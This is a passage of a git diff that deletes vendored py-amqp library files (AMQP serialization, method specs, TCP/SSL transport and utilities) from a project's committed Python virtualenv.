_read_item(buf, offset) - val.append(v) - # 't' (bool) - elif ftype == 't': - val, = unpack_from('>B', buf, offset) - val = bool(val) - offset += 1 - # 'T': timestamp - elif ftype == 'T': - val, = unpack_from('>Q', buf, offset) - offset += 8 - val = datetime.utcfromtimestamp(val) - # 'V': void - elif ftype == 'V': - val = None - else: - raise FrameSyntaxError( - 'Unknown value in table: {!r} ({!r})'.format( - ftype, type(ftype))) - return val, offset - - -def loads(format, buf, offset): - """Deserialize amqp format. - - bit = b - octet = o - short = B - long = l - long long = L - float = f - shortstr = s - longstr = S - table = F - array = A - timestamp = T - """ - bitcount = bits = 0 - - values = [] - append = values.append - format = pstr_t(format) - - for p in format: - if p == 'b': - if not bitcount: - bits = ord(buf[offset:offset + 1]) - offset += 1 - bitcount = 8 - val = (bits & 1) == 1 - bits >>= 1 - bitcount -= 1 - elif p == 'o': - bitcount = bits = 0 - val, = unpack_from('>B', buf, offset) - offset += 1 - elif p == 'B': - bitcount = bits = 0 - val, = unpack_from('>H', buf, offset) - offset += 2 - elif p == 'l': - bitcount = bits = 0 - val, = unpack_from('>I', buf, offset) - offset += 4 - elif p == 'L': - bitcount = bits = 0 - val, = unpack_from('>Q', buf, offset) - offset += 8 - elif p == 'f': - bitcount = bits = 0 - val, = unpack_from('>f', buf, offset) - offset += 4 - elif p == 's': - bitcount = bits = 0 - slen, = unpack_from('B', buf, offset) - offset += 1 - val = buf[offset:offset + slen].decode('utf-8', 'surrogatepass') - offset += slen - elif p == 'S': - bitcount = bits = 0 - slen, = unpack_from('>I', buf, offset) - offset += 4 - val = buf[offset:offset + slen].decode('utf-8', 'surrogatepass') - offset += slen - elif p == 'x': - blen, = unpack_from('>I', buf, offset) - offset += 4 - val = buf[offset:offset + blen] - offset += blen - elif p == 'F': - bitcount = bits = 0 - tlen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + tlen - val = {} - while offset < limit: - keylen, = unpack_from('>B', buf, offset) - offset += 1 - key = pstr_t(buf[offset:offset + keylen]) - offset += keylen - val[key], offset = _read_item(buf, offset) - elif p == 'A': - bitcount = bits = 0 - alen, = unpack_from('>I', buf, offset) - offset += 4 - limit = offset + alen - val = [] - while offset < limit: - aval, offset = _read_item(buf, offset) - val.append(aval) - elif p == 'T': - bitcount = bits = 0 - val, = unpack_from('>Q', buf, offset) - offset += 8 - val = datetime.utcfromtimestamp(val) - else: - raise FrameSyntaxError(ILLEGAL_TABLE_TYPE.format(p)) - append(val) - return values, offset - - -def _flushbits(bits, write): - if bits: - write(pack('B' * len(bits), *bits)) - bits[:] = [] - return 0 - - -def dumps(format, values): - """Serialize AMQP arguments. - - Notes: - bit = b - octet = o - short = B - long = l - long long = L - shortstr = s - longstr = S - byte array = x - table = F - array = A - """ - bitcount = 0 - bits = [] - out = BytesIO() - write = out.write - - format = pstr_t(format) - - for i, val in enumerate(values): - p = format[i] - if p == 'b': - val = 1 if val else 0 - shift = bitcount % 8 - if shift == 0: - bits.append(0) - bits[-1] |= (val << shift) - bitcount += 1 - elif p == 'o': - bitcount = _flushbits(bits, write) - write(pack('B', val)) - elif p == 'B': - bitcount = _flushbits(bits, write) - write(pack('>H', int(val))) - elif p == 'l': - bitcount = _flushbits(bits, write) - write(pack('>I', val)) - elif p == 'L': - bitcount = _flushbits(bits, write) - write(pack('>Q', val)) - elif p == 'f': - bitcount = _flushbits(bits, write) - write(pack('>f', val)) - elif p == 's': - val = val or '' - bitcount = _flushbits(bits, write) - if isinstance(val, str): - val = val.encode('utf-8', 'surrogatepass') - write(pack('B', len(val))) - write(val) - elif p == 'S' or p == 'x': - val = val or '' - bitcount = _flushbits(bits, write) - if isinstance(val, str): - val = val.encode('utf-8', 'surrogatepass') - write(pack('>I', len(val))) - write(val) - elif p == 'F': - bitcount = _flushbits(bits, write) - _write_table(val or {}, write, bits) - elif p == 'A': - bitcount = _flushbits(bits, write) - _write_array(val or [], write, bits) - elif p == 'T': - write(pack('>Q', int(calendar.timegm(val.utctimetuple())))) - _flushbits(bits, write) - - return out.getvalue() - - -def _write_table(d, write, bits): - out = BytesIO() - twrite = out.write - for k, v in d.items(): - if isinstance(k, str): - k = k.encode('utf-8', 'surrogatepass') - twrite(pack('B', len(k))) - twrite(k) - try: - _write_item(v, twrite, bits) - except ValueError: - raise FrameSyntaxError( - ILLEGAL_TABLE_TYPE_WITH_KEY.format(type(v), k, v)) - table_data = out.getvalue() - write(pack('>I', len(table_data))) - write(table_data) - - -def _write_array(list_, write, bits): - out = BytesIO() - awrite = out.write - for v in list_: - try: - _write_item(v, awrite, bits) - except ValueError: - raise FrameSyntaxError( - ILLEGAL_TABLE_TYPE_WITH_VALUE.format(type(v), v)) - array_data = out.getvalue() - write(pack('>I', len(array_data))) - write(array_data) - - -def _write_item(v, write, bits): - if isinstance(v, (str, bytes)): - if isinstance(v, str): - v = v.encode('utf-8', 'surrogatepass') - write(pack('>cI', b'S', len(v))) - write(v) - elif isinstance(v, bool): - write(pack('>cB', b't', int(v))) - elif isinstance(v, float): - write(pack('>cd', b'd', v)) - elif isinstance(v, int): - if v > 2147483647 or v < -2147483647: - write(pack('>cq', b'L', v)) - else: - write(pack('>ci', b'I', v)) - elif isinstance(v, Decimal): - sign, digits, exponent = v.as_tuple() - v = 0 - for d in digits: - v = (v * 10) + d - if sign: - v = -v - write(pack('>cBi', b'D', -exponent, v)) - elif isinstance(v, datetime): - write( - pack('>cQ', b'T', int(calendar.timegm(v.utctimetuple())))) - elif isinstance(v, dict): - write(b'F') - _write_table(v, write, bits) - elif isinstance(v, (list, tuple)): - write(b'A') - _write_array(v, write, bits) - elif v is None: - write(b'V') - else: - raise ValueError() - - -def decode_properties_basic(buf, offset): - """Decode basic properties.""" - properties = {} - - flags, = unpack_from('>H', buf, offset) - offset += 2 - - if flags & 0x8000: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['content_type'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x4000: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['content_encoding'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x2000: - _f, offset = loads('F', buf, offset) - properties['application_headers'], = _f - if flags & 0x1000: - properties['delivery_mode'], = unpack_from('>B', buf, offset) - offset += 1 - if flags & 0x0800: - properties['priority'], = unpack_from('>B', buf, offset) - offset += 1 - if flags & 0x0400: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['correlation_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0200: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['reply_to'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0100: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['expiration'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0080: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['message_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0040: - properties['timestamp'], = unpack_from('>Q', buf, offset) - offset += 8 - if flags & 0x0020: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['type'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0010: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['user_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0008: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['app_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - if flags & 0x0004: - slen, = unpack_from('>B', buf, offset) - offset += 1 - properties['cluster_id'] = pstr_t(buf[offset:offset + slen]) - offset += slen - return properties, offset - - -PROPERTY_CLASSES = { - Basic.CLASS_ID: decode_properties_basic, -} - - -class GenericContent: - """Abstract base class for AMQP content. - - Subclasses should override the PROPERTIES attribute. - """ - - CLASS_ID = None - PROPERTIES = [('dummy', 's')] - - def __init__(self, frame_method=None, frame_args=None, **props): - self.frame_method = frame_method - self.frame_args = frame_args - - self.properties = props - self._pending_chunks = [] - self.body_received = 0 - self.body_size = 0 - self.ready = False - - __slots__ = ( - "frame_method", - "frame_args", - "properties", - "_pending_chunks", - "body_received", - "body_size", - "ready", - # adding '__dict__' to get dynamic assignment - "__dict__", - "__weakref__", - ) - - def __getattr__(self, name): - # Look for additional properties in the 'properties' - # dictionary, and if present - the 'delivery_info' dictionary. - if name == '__setstate__': - # Allows pickling/unpickling to work - raise AttributeError('__setstate__') - - if name in self.properties: - return self.properties[name] - raise AttributeError(name) - - def _load_properties(self, class_id, buf, offset): - """Load AMQP properties. - - Given the raw bytes containing the property-flags and property-list - from a content-frame-header, parse and insert into a dictionary - stored in this object as an attribute named 'properties'. - """ - # Read 16-bit shorts until we get one with a low bit set to zero - props, offset = PROPERTY_CLASSES[class_id](buf, offset) - self.properties = props - return offset - - def _serialize_properties(self): - """Serialize AMQP properties. - - Serialize the 'properties' attribute (a dictionary) into - the raw bytes making up a set of property flags and a - property list, suitable for putting into a content frame header. - """ - shift = 15 - flag_bits = 0 - flags = [] - sformat, svalues = [], [] - props = self.properties - for key, proptype in self.PROPERTIES: - val = props.get(key, None) - if val is not None: - if shift == 0: - flags.append(flag_bits) - flag_bits = 0 - shift = 15 - - flag_bits |= (1 << shift) - if proptype != 'bit': - sformat.append(str_to_bytes(proptype)) - svalues.append(val) - - shift -= 1 - flags.append(flag_bits) - result = BytesIO() - write = result.write - for flag_bits in flags: - write(pack('>H', flag_bits)) - write(dumps(b''.join(sformat), svalues)) - - return result.getvalue() - - def inbound_header(self, buf, offset=0): - class_id, self.body_size = unpack_from('>HxxQ', buf, offset) - offset += 12 - self._load_properties(class_id, buf, offset) - if not self.body_size: - self.ready = True - return offset - - def inbound_body(self, buf): - chunks = self._pending_chunks - self.body_received += len(buf) - if self.body_received >= self.body_size: - if chunks: - chunks.append(buf) - self.body = bytes().join(chunks) - chunks[:] = [] - else: - self.body = buf - self.ready = True - else: - chunks.append(buf) diff --git a/backend/venv/Lib/site-packages/amqp/spec.py b/backend/venv/Lib/site-packages/amqp/spec.py deleted file mode 100644 index 2a1169e1..00000000 --- a/backend/venv/Lib/site-packages/amqp/spec.py +++ /dev/null @@ -1,121 +0,0 @@ -"""AMQP Spec.""" - -from collections import namedtuple - -method_t = namedtuple('method_t', ('method_sig', 'args', 'content')) - - -def method(method_sig, args=None, content=False): - """Create amqp method specification tuple.""" - return method_t(method_sig, args, content) - - -class Connection: - """AMQ Connection class.""" - - CLASS_ID = 10 - - Start = (10, 10) - StartOk = (10, 11) - Secure = (10, 20) - SecureOk = (10, 21) - Tune = (10, 30) - TuneOk = (10, 31) - Open = (10, 40) - OpenOk = (10, 41) - Close = (10, 50) - CloseOk = (10, 51) - Blocked = (10, 60) - Unblocked = (10, 61) - - -class Channel: - """AMQ Channel class.""" - - CLASS_ID = 20 - - Open = (20, 10) - OpenOk = (20, 11) - Flow = (20, 20) - FlowOk = (20, 21) - Close = (20, 40) - CloseOk = (20, 41) - - -class Exchange: - """AMQ Exchange class.""" - - CLASS_ID = 40 - - Declare = (40, 10) - DeclareOk = (40, 11) - Delete = (40, 20) - DeleteOk = (40, 21) - Bind = (40, 30) - BindOk = (40, 31) - Unbind = (40, 40) - UnbindOk = (40, 51) - - -class Queue: - """AMQ Queue class.""" - - CLASS_ID = 50 - - Declare = (50, 10) - DeclareOk = (50, 11) - Bind = (50, 20) - BindOk = (50, 21) - Purge = (50, 30) - PurgeOk = (50, 31) - Delete = (50, 40) - DeleteOk = (50, 41) - Unbind = (50, 50) - UnbindOk = (50, 51) - - -class Basic: - """AMQ Basic class.""" - - CLASS_ID = 60 - - Qos = (60, 10) - QosOk = (60, 11) - Consume = (60, 20) - ConsumeOk = (60, 21) - Cancel = (60, 30) - CancelOk = (60, 31) - Publish = (60, 40) - Return = (60, 50) - Deliver = (60, 60) - Get = (60, 70) - GetOk = (60, 71) - GetEmpty = (60, 72) - Ack = (60, 80) - Nack = (60, 120) - Reject = (60, 90) - RecoverAsync = (60, 100) - Recover = (60, 110) - RecoverOk = (60, 111) - - -class Confirm: - """AMQ Confirm class.""" - - CLASS_ID = 85 - - Select = (85, 10) - SelectOk = (85, 11) - - -class Tx: - """AMQ Tx class.""" - - CLASS_ID = 90 - - Select = (90, 10) - SelectOk = (90, 11) - Commit = (90, 20) - CommitOk = (90, 21) - Rollback = (90, 30) - RollbackOk = (90, 31) diff --git a/backend/venv/Lib/site-packages/amqp/transport.py b/backend/venv/Lib/site-packages/amqp/transport.py deleted file mode 100644 index 3d87e70e..00000000 --- a/backend/venv/Lib/site-packages/amqp/transport.py +++ /dev/null @@ -1,679 +0,0 @@ -"""Transport implementation.""" -# Copyright (C) 2009 Barry Pederson - -import errno -import os -import re -import socket -import ssl -from contextlib import contextmanager -from ssl import SSLError -from struct import pack, unpack - -from .exceptions import UnexpectedFrame -from .platform import KNOWN_TCP_OPTS, SOL_TCP -from .utils import set_cloexec - -_UNAVAIL = {errno.EAGAIN, errno.EINTR, errno.ENOENT, errno.EWOULDBLOCK} - -AMQP_PORT = 5672 - -EMPTY_BUFFER = bytes() - -SIGNED_INT_MAX = 0x7FFFFFFF - -# Yes, Advanced Message Queuing Protocol Protocol is redundant -AMQP_PROTOCOL_HEADER = b'AMQP\x00\x00\x09\x01' - -# Match things like: [fe80::1]:5432, from RFC 2732 -IPV6_LITERAL = re.compile(r'\[([\.0-9a-f:]+)\](?::(\d+))?') - -DEFAULT_SOCKET_SETTINGS = { - 'TCP_NODELAY': 1, - 'TCP_USER_TIMEOUT': 1000, - 'TCP_KEEPIDLE': 60, - 'TCP_KEEPINTVL': 10, - 'TCP_KEEPCNT': 9, -} - - -def to_host_port(host, default=AMQP_PORT): - """Convert hostname:port string to host, port tuple.""" - port = default - m = IPV6_LITERAL.match(host) - if m: - host = m.group(1) - if m.group(2): - port = int(m.group(2)) - else: - if ':' in host: - host, port = host.rsplit(':', 1) - port = int(port) - return host, port - - -class _AbstractTransport: - """Common superclass for TCP and SSL transports. - - PARAMETERS: - host: str - - Broker address in format ``HOSTNAME:PORT``. - - connect_timeout: int - - Timeout of creating new connection. - - read_timeout: int - - sets ``SO_RCVTIMEO`` parameter of socket. - - write_timeout: int - - sets ``SO_SNDTIMEO`` parameter of socket. - - socket_settings: dict - - dictionary containing `optname` and ``optval`` passed to - ``setsockopt(2)``. - - raise_on_initial_eintr: bool - - when True, ``socket.timeout`` is raised - when exception is received during first read. See ``_read()`` for - details. - """ - - def __init__(self, host, connect_timeout=None, - read_timeout=None, write_timeout=None, - socket_settings=None, raise_on_initial_eintr=True, **kwargs): - self.connected = False - self.sock = None - self.raise_on_initial_eintr = raise_on_initial_eintr - self._read_buffer = EMPTY_BUFFER - self.host, self.port = to_host_port(host) - self.connect_timeout = connect_timeout - self.read_timeout = read_timeout - self.write_timeout = write_timeout - self.socket_settings = socket_settings - - __slots__ = ( - "connection", - "sock", - "raise_on_initial_eintr", - "_read_buffer", - "host", - "port", - "connect_timeout", - "read_timeout", - "write_timeout", - "socket_settings", - # adding '__dict__' to get dynamic assignment - "__dict__", - "__weakref__", - ) - - def __repr__(self): - if self.sock: - src = f'{self.sock.getsockname()[0]}:{self.sock.getsockname()[1]}' - try: - dst = f'{self.sock.getpeername()[0]}:{self.sock.getpeername()[1]}' - except (socket.error) as e: - dst = f'ERROR: {e}' - return f'<{type(self).__name__}: {src} -> {dst} at {id(self):#x}>' - else: - return f'<{type(self).__name__}: (disconnected) at {id(self):#x}>' - - def connect(self): - try: - # are we already connected? - if self.connected: - return - self._connect(self.host, self.port, self.connect_timeout) - self._init_socket( - self.socket_settings, self.read_timeout, self.write_timeout, - ) - # we've sent the banner; signal connect - # EINTR, EAGAIN, EWOULDBLOCK would signal that the banner - # has _not_ been sent - self.connected = True - except (OSError, SSLError): - # if not fully connected, close socket, and reraise error - if self.sock and not self.connected: - self.sock.close() - self.sock = None - raise - - @contextmanager - def having_timeout(self, timeout): - if timeout is None: - yield self.sock - else: - sock = self.sock - prev = sock.gettimeout() - if prev != timeout: - sock.settimeout(timeout) - try: - yield self.sock - except SSLError as exc: - if 'timed out' in str(exc): - # http://bugs.python.org/issue10272 - raise socket.timeout() - elif 'The operation did not complete' in str(exc): - # Non-blocking SSL sockets can throw SSLError - raise socket.timeout() - raise - except OSError as exc: - if exc.errno == errno.EWOULDBLOCK: - raise socket.timeout() - raise - finally: - if timeout != prev: - sock.settimeout(prev) - - def _connect(self, host, port, timeout): - entries = socket.getaddrinfo( - host, port, socket.AF_UNSPEC, socket.SOCK_STREAM, SOL_TCP, - ) - for i, res in enumerate(entries): - af, socktype, proto, canonname, sa = res - try: - self.sock = socket.socket(af, socktype, proto) - try: - set_cloexec(self.sock, True) - except NotImplementedError: - pass - self.sock.settimeout(timeout) - self.sock.connect(sa) - except socket.error: - if self.sock: - self.sock.close() - self.sock = None - if i + 1 >= len(entries): - raise - else: - break - - def _init_socket(self, socket_settings, read_timeout, write_timeout): - self.sock.settimeout(None) # set socket back to blocking mode - self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) - self._set_socket_options(socket_settings) - - # set socket timeouts - for timeout, interval in ((socket.SO_SNDTIMEO, write_timeout), - (socket.SO_RCVTIMEO, read_timeout)): - if interval is not None: - sec = int(interval) - usec = int((interval - sec) * 1000000) - self.sock.setsockopt( - socket.SOL_SOCKET, timeout, - pack('ll', sec, usec), - ) - self._setup_transport() - - self._write(AMQP_PROTOCOL_HEADER) - - def _get_tcp_socket_defaults(self, sock): - tcp_opts = {} - for opt in KNOWN_TCP_OPTS: - enum = None - if opt == 'TCP_USER_TIMEOUT': - try: - from socket import TCP_USER_TIMEOUT as enum - except ImportError: - # should be in Python 3.6+ on Linux. - enum = 18 - elif hasattr(socket, opt): - enum = getattr(socket, opt) - - if enum: - if opt in DEFAULT_SOCKET_SETTINGS: - tcp_opts[enum] = DEFAULT_SOCKET_SETTINGS[opt] - elif hasattr(socket, opt): - tcp_opts[enum] = sock.getsockopt( - SOL_TCP, getattr(socket, opt)) - return tcp_opts - - def _set_socket_options(self, socket_settings): - tcp_opts = self._get_tcp_socket_defaults(self.sock) - if socket_settings: - tcp_opts.update(socket_settings) - for opt, val in tcp_opts.items(): - self.sock.setsockopt(SOL_TCP, opt, val) - - def _read(self, n, initial=False): - """Read exactly n bytes from the peer.""" - raise NotImplementedError('Must be overridden in subclass') - - def _setup_transport(self): - """Do any additional initialization of the class.""" - pass - - def _shutdown_transport(self): - """Do any preliminary work in shutting down the connection.""" - pass - - def _write(self, s): - """Completely write a string to the peer.""" - raise NotImplementedError('Must be overridden in subclass') - - def close(self): - if self.sock is not None: - try: - self._shutdown_transport() - except OSError: - pass - - # Call shutdown first to make sure that pending messages - # reach the AMQP broker if the program exits after - # calling this method. - try: - self.sock.shutdown(socket.SHUT_RDWR) - except OSError: - pass - - try: - self.sock.close() - except OSError: - pass - self.sock = None - self.connected = False - - def read_frame(self, unpack=unpack): - """Parse AMQP frame. - - Frame has following format:: - - 0 1 3 7 size+7 size+8 - +------+---------+---------+ +-------------+ +-----------+ - | type | channel | size | | payload | | frame-end | - +------+---------+---------+ +-------------+ +-----------+ - octet short long 'size' octets octet - - """ - read = self._read - read_frame_buffer = EMPTY_BUFFER - try: - frame_header = read(7, True) - read_frame_buffer += frame_header - frame_type, channel, size = unpack('>BHI', frame_header) - # >I is an unsigned int, but the argument to sock.recv is signed, - # so we know the size can be at most 2 * SIGNED_INT_MAX - if size > SIGNED_INT_MAX: - part1 = read(SIGNED_INT_MAX) - - try: - part2 = read(size - SIGNED_INT_MAX) - except (socket.timeout, OSError, SSLError): - # In case this read times out, we need to make sure to not - # lose part1 when we retry the read - read_frame_buffer += part1 - raise - - payload = b''.join([part1, part2]) - else: - payload = read(size) - read_frame_buffer += payload - frame_end = ord(read(1)) - except socket.timeout: - self._read_buffer = read_frame_buffer + self._read_buffer - raise - except (OSError, SSLError) as exc: - if ( - isinstance(exc, socket.error) and os.name == 'nt' - and exc.errno == errno.EWOULDBLOCK # noqa - ): - # On windows we can get a read timeout with a winsock error - # code instead of a proper socket.timeout() error, see - # https://github.com/celery/py-amqp/issues/320 - self._read_buffer = read_frame_buffer + self._read_buffer - raise socket.timeout() - - if isinstance(exc, SSLError) and 'timed out' in str(exc): - # Don't disconnect for ssl read time outs - # http://bugs.python.org/issue10272 - self._read_buffer = read_frame_buffer + self._read_buffer - raise socket.timeout() - - if exc.errno not in _UNAVAIL: - self.connected = False - raise - # frame-end octet must contain '\xce' value - if frame_end == 206: - return frame_type, channel, payload - else: - raise UnexpectedFrame( - f'Received frame_end {frame_end:#04x} while expecting 0xce') - - def write(self, s): - try: - self._write(s) - except socket.timeout: - raise - except OSError as exc: - if exc.errno not in _UNAVAIL: - self.connected = False - raise - - -class SSLTransport(_AbstractTransport): - """Transport that works over SSL. - - PARAMETERS: - host: str - - Broker address in format ``HOSTNAME:PORT``. - - connect_timeout: int - - Timeout of creating new connection. - - ssl: bool|dict - - parameters of TLS subsystem. - - when ``ssl`` is not dictionary, defaults of TLS are used - - otherwise: - - if ``ssl`` dictionary contains ``context`` key, - :attr:`~SSLTransport._wrap_context` is used for wrapping - socket. ``context`` is a dictionary passed to - :attr:`~SSLTransport._wrap_context` as context parameter. - All others items from ``ssl`` argument are passed as - ``sslopts``. - - if ``ssl`` dictionary does not contain ``context`` key, - :attr:`~SSLTransport._wrap_socket_sni` is used for - wrapping socket. All items in ``ssl`` argument are - passed to :attr:`~SSLTransport._wrap_socket_sni` as - parameters. - - kwargs: - - additional arguments of - :class:`~amqp.transport._AbstractTransport` class - """ - - def __init__(self, host, connect_timeout=None, ssl=None, **kwargs): - self.sslopts = ssl if isinstance(ssl, dict) else {} - self._read_buffer = EMPTY_BUFFER - super().__init__( - host, connect_timeout=connect_timeout, **kwargs) - - __slots__ = ( - "sslopts", - ) - - def _setup_transport(self): - """Wrap the socket in an SSL object.""" - self.sock = self._wrap_socket(self.sock, **self.sslopts) - # Explicitly set a timeout here to stop any hangs on handshake. - self.sock.settimeout(self.connect_timeout) - self.sock.do_handshake() - self._quick_recv = self.sock.read - - def _wrap_socket(self, sock, context=None, **sslopts): - if context: - return self._wrap_context(sock, sslopts, **context) - return self._wrap_socket_sni(sock, **sslopts) - - def _wrap_context(self, sock, sslopts, check_hostname=None, **ctx_options): - """Wrap socket without SNI headers. - - PARAMETERS: - sock: socket.socket - - Socket to be wrapped. - - sslopts: dict - - Parameters of :attr:`ssl.SSLContext.wrap_socket`. - - check_hostname - - Whether to match the peer cert’s hostname. See - :attr:`ssl.SSLContext.check_hostname` for details. - - ctx_options - - Parameters of :attr:`ssl.create_default_context`. - """ - ctx = ssl.create_default_context(**ctx_options) - ctx.check_hostname = check_hostname - return ctx.wrap_socket(sock, **sslopts) - - def _wrap_socket_sni(self, sock, keyfile=None, certfile=None, - server_side=False, cert_reqs=None, - ca_certs=None, do_handshake_on_connect=False, - suppress_ragged_eofs=True, server_hostname=None, - ciphers=None, ssl_version=None): - """Socket wrap with SNI headers. - - stdlib :attr:`ssl.SSLContext.wrap_socket` method augmented with support - for setting the server_hostname field required for SNI hostname header. - - PARAMETERS: - sock: socket.socket - - Socket to be wrapped. - - keyfile: str - - Path to the private key - - certfile: str - - Path to the certificate - - server_side: bool - - Identifies whether server-side or client-side - behavior is desired from this socket. See - :attr:`~ssl.SSLContext.wrap_socket` for details. - - cert_reqs: ssl.VerifyMode - - When set to other than :attr:`ssl.CERT_NONE`, peers certificate - is checked. Possible values are :attr:`ssl.CERT_NONE`, - :attr:`ssl.CERT_OPTIONAL` and :attr:`ssl.CERT_REQUIRED`. - - ca_certs: str - - Path to “certification authority” (CA) certificates - used to validate other peers’ certificates when ``cert_reqs`` - is other than :attr:`ssl.CERT_NONE`. - - do_handshake_on_connect: bool - - Specifies whether to do the SSL - handshake automatically. See - :attr:`~ssl.SSLContext.wrap_socket` for details. - - suppress_ragged_eofs (bool): - - See :attr:`~ssl.SSLContext.wrap_socket` for details. - - server_hostname: str - - Specifies the hostname of the service which - we are connecting to. See :attr:`~ssl.SSLContext.wrap_socket` - for details. - - ciphers: str - - Available ciphers for sockets created with this - context. See :attr:`ssl.SSLContext.set_ciphers` - - ssl_version: - - Protocol of the SSL Context. The value is one of - ``ssl.PROTOCOL_*`` constants. - """ - opts = { - 'sock': sock, - 'server_side': server_side, - 'do_handshake_on_connect': do_handshake_on_connect, - 'suppress_ragged_eofs': suppress_ragged_eofs, - 'server_hostname': server_hostname, - } - - if ssl_version is None: - ssl_version = ( - ssl.PROTOCOL_TLS_SERVER - if server_side - else ssl.PROTOCOL_TLS_CLIENT - ) - - context = ssl.SSLContext(ssl_version) - - if certfile is not None: - context.load_cert_chain(certfile, keyfile) - if ca_certs is not None: - context.load_verify_locations(ca_certs) - if ciphers is not None: - context.set_ciphers(ciphers) - # Set SNI headers if supported. - # Must set context.check_hostname before setting context.verify_mode - # to avoid setting context.verify_mode=ssl.CERT_NONE while - # context.check_hostname is still True (the default value in context - # if client-side) which results in the following exception: - # ValueError: Cannot set verify_mode to CERT_NONE when check_hostname - # is enabled. - try: - context.check_hostname = ( - ssl.HAS_SNI and server_hostname is not None - ) - except AttributeError: - pass # ask forgiveness not permission - - # See note above re: ordering for context.check_hostname and - # context.verify_mode assignments. - if cert_reqs is not None: - context.verify_mode = cert_reqs - - if ca_certs is None and context.verify_mode != ssl.CERT_NONE: - purpose = ( - ssl.Purpose.CLIENT_AUTH - if server_side - else ssl.Purpose.SERVER_AUTH - ) - context.load_default_certs(purpose) - - sock = context.wrap_socket(**opts) - return sock - - def _shutdown_transport(self): - """Unwrap a SSL socket, so we can call shutdown().""" - if self.sock is not None: - self.sock = self.sock.unwrap() - - def _read(self, n, initial=False, - _errnos=(errno.ENOENT, errno.EAGAIN, errno.EINTR)): - # According to SSL_read(3), it can at most return 16kb of data. - # Thus, we use an internal read buffer like TCPTransport._read - # to get the exact number of bytes wanted. - recv = self._quick_recv - rbuf = self._read_buffer - try: - while len(rbuf) < n: - try: - s = recv(n - len(rbuf)) # see note above - except OSError as exc: - # ssl.sock.read may cause ENOENT if the - # operation couldn't be performed (Issue celery#1414). - if exc.errno in _errnos: - if initial and self.raise_on_initial_eintr: - raise socket.timeout() - continue - raise - if not s: - raise OSError('Server unexpectedly closed connection') - rbuf += s - except: # noqa - self._read_buffer = rbuf - raise - result, self._read_buffer = rbuf[:n], rbuf[n:] - return result - - def _write(self, s): - """Write a string out to the SSL socket fully.""" - write = self.sock.write - while s: - try: - n = write(s) - except ValueError: - # AG: sock._sslobj might become null in the meantime if the - # remote connection has hung up. - # In python 3.4, a ValueError is raised is self._sslobj is - # None. - n = 0 - if not n: - raise OSError('Socket closed') - s = s[n:] - - -class TCPTransport(_AbstractTransport): - """Transport that deals directly with TCP socket. - - All parameters are :class:`~amqp.transport._AbstractTransport` class. - """ - - def _setup_transport(self): - # Setup to _write() directly to the socket, and - # do our own buffered reads. - self._write = self.sock.sendall - self._read_buffer = EMPTY_BUFFER - self._quick_recv = self.sock.recv - - def _read(self, n, initial=False, _errnos=(errno.EAGAIN, errno.EINTR)): - """Read exactly n bytes from the socket.""" - recv = self._quick_recv - rbuf = self._read_buffer - try: - while len(rbuf) < n: - try: - s = recv(n - len(rbuf)) - except OSError as exc: - if exc.errno in _errnos: - if initial and self.raise_on_initial_eintr: - raise socket.timeout() - continue - raise - if not s: - raise OSError('Server unexpectedly closed connection') - rbuf += s - except: # noqa - self._read_buffer = rbuf - raise - - result, self._read_buffer = rbuf[:n], rbuf[n:] - return result - - -def Transport(host, connect_timeout=None, ssl=False, **kwargs): - """Create transport. - - Given a few parameters from the Connection constructor, - select and create a subclass of - :class:`~amqp.transport._AbstractTransport`. - - PARAMETERS: - - host: str - - Broker address in format ``HOSTNAME:PORT``. - - connect_timeout: int - - Timeout of creating new connection. - - ssl: bool|dict - - If set, :class:`~amqp.transport.SSLTransport` is used - and ``ssl`` parameter is passed to it. Otherwise - :class:`~amqp.transport.TCPTransport` is used. - - kwargs: - - additional arguments of :class:`~amqp.transport._AbstractTransport` - class - """ - transport = SSLTransport if ssl else TCPTransport - return transport(host, connect_timeout=connect_timeout, ssl=ssl, **kwargs) diff --git a/backend/venv/Lib/site-packages/amqp/utils.py b/backend/venv/Lib/site-packages/amqp/utils.py deleted file mode 100644 index 8ba5f670..00000000 --- a/backend/venv/Lib/site-packages/amqp/utils.py +++ /dev/null @@ -1,64 +0,0 @@ -"""Compatibility utilities.""" -import logging -from logging import NullHandler - -# enables celery 3.1.23 to start again -from vine import promise # noqa -from vine.utils import wraps - -try: - import fcntl -except ImportError: # pragma: no cover - fcntl = None # noqa - - -def set_cloexec(fd, cloexec): - """Set flag to close fd after exec.""" - if fcntl is None: - return - try: - FD_CLOEXEC = fcntl.FD_CLOEXEC - except AttributeError: - raise NotImplementedError( - 'close-on-exec flag not supported on this platform', - ) - flags = fcntl.fcntl(fd, fcntl.F_GETFD) - if cloexec: - flags |= FD_CLOEXEC - else: - flags &= ~FD_CLOEXEC - return fcntl.fcntl(fd, fcntl.F_SETFD, flags) - - -def coro(gen): - """Decorator to mark generator as a co-routine.""" - @wraps(gen) - def _boot(*args, **kwargs): - co = gen(*args, **kwargs) - next(co) - return co - - return _boot - - -def str_to_bytes(s): - """Convert str to bytes.""" - if isinstance(s, str): - return s.encode('utf-8', 'surrogatepass') - return s - - -def bytes_to_str(s): - """Convert bytes to str.""" - if isinstance(s, bytes): - return s.decode('utf-8', 'surrogatepass') - return s - - -def get_logger(logger): - """Get logger by name.""" - if isinstance(logger, str): - logger = logging.getLogger(logger) - if not logger.handlers: - logger.addHandler(NullHandler()) - return logger diff --git 